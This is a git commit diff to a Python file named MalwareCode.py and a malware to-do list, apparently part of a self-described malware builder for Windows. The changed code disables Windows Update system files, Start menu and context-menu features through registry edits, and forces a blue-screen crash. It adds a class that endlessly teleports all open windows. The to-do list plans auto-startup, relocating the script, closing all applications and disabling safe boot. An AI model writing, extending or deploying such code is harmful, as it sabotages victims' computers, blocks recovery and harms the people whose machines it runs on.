Created MalwareBuilder

Feature added: Random tp windows 🤡
Also made more classes configurable

Author: DefinetlyNotAI

MalwareCode.py

@@ -13,6 +13,8 @@
 import pyautogui
 import pygetwindow as gw
 import win32clipboard
+import win32con
+import win32gui
 import wmi
 
 # ------------------------- Constants Code ------------------------- #
@@ -493,12 +495,15 @@ def enable():
                 print(f"Error enabling Windows Firewall or restoring access: {e}")
 
     class WindowsUpdate:
-        def __init__(self):
-            self.files = [
-                r"C:\Windows\System32\wuapp.exe",
-                r"C:\Windows\System32\usoclient.exe",
-                r"C:\Windows\System32\settingshandlers.dll",
-            ]
+        def __init__(self, files=None):
+            if files is None:
+                self.files = [
+                    r"C:\Windows\System32\wuapp.exe",
+                    r"C:\Windows\System32\usoclient.exe",
+                    r"C:\Windows\System32\settingshandlers.dll",
+                ]
+            else:
+                self.files = files
 
         def disable(self):
             """
@@ -804,10 +809,10 @@ def enable(self):
 
     class StartMenu:
         # Constants for registry modification
-        def __init__(self):
+        def __init__(self, reg_value="NoStartMenuMorePrograms"):
             self.KEY = reg.HKEY_CURRENT_USER
             self.REG_PATH = r"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer"
-            self.REG_VALUE = "NoStartMenuMorePrograms"
+            self.REG_VALUE = reg_value
 
         def disable(self):
             """Disables the Start button by modifying the registry."""
@@ -1054,9 +1059,9 @@ def enable(self):
                 print(f"Error enabling clock: {e}")
 
     class FileContextMenu:
-        def __init__(self):
-            self.HWND_BROADCAST = 0xFFFF
-            self.WM_SETTINGCHANGE = 0x1A
+        def __init__(self, broadcast_hex=0xFFFF, setting_change_hex=0x1A):
+            self.HWND_BROADCAST = broadcast_hex
+            self.WM_SETTINGCHANGE = setting_change_hex
 
         def __broadcast_settings_change(self):
             # Notify Windows about changes in settings
@@ -1440,12 +1445,14 @@ def format(self):
                     print(f"An error occurred: {e}")
 
     class BSOD:
-        def __init__(self):
-            self.MAX_CRASHES = 1
-            self.REGISTRY_PATH = r"SOFTWARE\CustomBSOD"
-            self.VALUE_NAME = "CrashCount"
-            self.CRASH_ERR = "Oopsie woopsie! Uwu We made a fucky wucky!! A wittle fucko boingo! The code monkeys at our headquarters are working VEWY HAWD to fix this!"
-            self.CRASH_CODE = 0x00069420
+        def __init__(self, max_crashes=1,
+                     crash_err="The code monkeys at our headquarters are working very hard to fix this!",
+                     crash_code=0x00069420):
+            self.MAX_CRASHES = max_crashes
+            self.REGISTRY_PATH = r"SOFTWARE\SysBSOD"
+            self.VALUE_NAME = "BCC"
+            self.CRASH_ERR = crash_err
+            self.CRASH_CODE = crash_code
 
         def __check_registry_and_update(self):
             """
@@ -1725,11 +1732,8 @@ def start(self):
             except KeyboardInterrupt:
                 print("Mouse freeze stopped.")
 
-    class DrunkGUI:
+    class CrazyGUI:
         def __init__(self):
-            # Constants for desktop manipulation
-            self.SPI_SETDESKWALLPAPER = 20
-            self.SPI_GETDESKWALLPAPER = 0x0073
             # Global variable to store original window states
             self.original_states = {}
 
@@ -1796,20 +1800,77 @@ def __revert_gui(self):
             print("All changes reverted.")
 
         def start(self):
-            # Start bugging threads for maximum chaos
-            desktop_thread = threading.Thread(target=self.__bug_desktop, daemon=True)
-            windows_thread = threading.Thread(target=self.__bug_windows, daemon=True)
+            try:
+                # Start bugging threads for maximum chaos
+                desktop_thread = threading.Thread(target=self.__bug_desktop, daemon=True)
+                windows_thread = threading.Thread(target=self.__bug_windows, daemon=True)
+
+                desktop_thread.start()
+                windows_thread.start()
 
-            desktop_thread.start()
-            windows_thread.start()
+                while True:
+                    time.sleep(1)
+            except KeyboardInterrupt:
+                self.__revert_gui()
+
+    class WindowTeleport:
+        # Function to get screen dimensions
+        def __init__(self, timeout=2):
+            user32 = ctypes.windll.user32
+            user32.SetProcessDPIAware()
+            self.screen_width = user32.GetSystemMetrics(0)  # SM_CXSCREEN
+            self.screen_height = user32.GetSystemMetrics(1)  # SM_CYSCREEN
+            self.TIMEOUT = timeout
+
+        # Teleport windows forever
+        def __tp_windows_forever(self):
+            while True:
+                # Get all open windows
+                windows = gw.getAllWindows()
+
+                for window in windows:
+                    # Only teleport visible windows
+                    if window.visible:  # Use the correct attribute
+                        # Generate random coordinates
+                        random_x = random.randint(0, self.screen_width - 100)
+                        random_y = random.randint(0, self.screen_height - 100)
+
+                        # Move the window to the random location
+                        try:
+                            win32gui.SetWindowPos(
+                                window._hWnd,  # Window handle
+                                win32con.HWND_TOP,  # Top position
+                                random_x,
+                                random_y,
+                                window.width,
+                                window.height,
+                                win32con.SWP_NOZORDER | win32con.SWP_NOSIZE
+                            )
+                        except Exception as e:
+                            print(f"Failed to move window {window.title}: {e}")
+
+                # Sleep for a short duration to avoid excessive CPU usage
+                time.sleep(self.TIMEOUT)
+
+        # Start the teleport thread
+        def __thread_tp(self):
+            teleport_thread = threading.Thread(target=self.__tp_windows_forever, daemon=True)
+            teleport_thread.start()
 
-            # Run for 15 seconds, then revert
-            time.sleep(15)
-            self.__revert_gui()
+        def start(self):
+            print("Starting the teleportation thread. Press Ctrl+C to stop.")
+            self.__thread_tp()
 
+            # Keep the main thread alive
+            try:
+                while True:
+                    time.sleep(1)
+            except KeyboardInterrupt:
+                print("\nExiting...")
 
 # ----------------------------- Script Code ------------------------- #
 
+
 """
 if PATH != MOVE_TO:
     move_script()  # Move the script to the Public Documents directory

malware todo.txt

@@ -43,8 +43,7 @@ Auto Startup (Part of Core Features) ✅
 Move File to New location (Part of Core Features) ✅
 Crash Windows ✅ 💀
 Bug out Windows GUI ✅ 🤡
-Print mouse cursor
-Teleport all windows
+Teleport all windows ✅ 🤡
 Disable Safe boot (bcdedit)
 
 Close all applications - ctypes.windll.user32.PostMessageW(0xffff, 0x0112, 0xF060, 0) ✅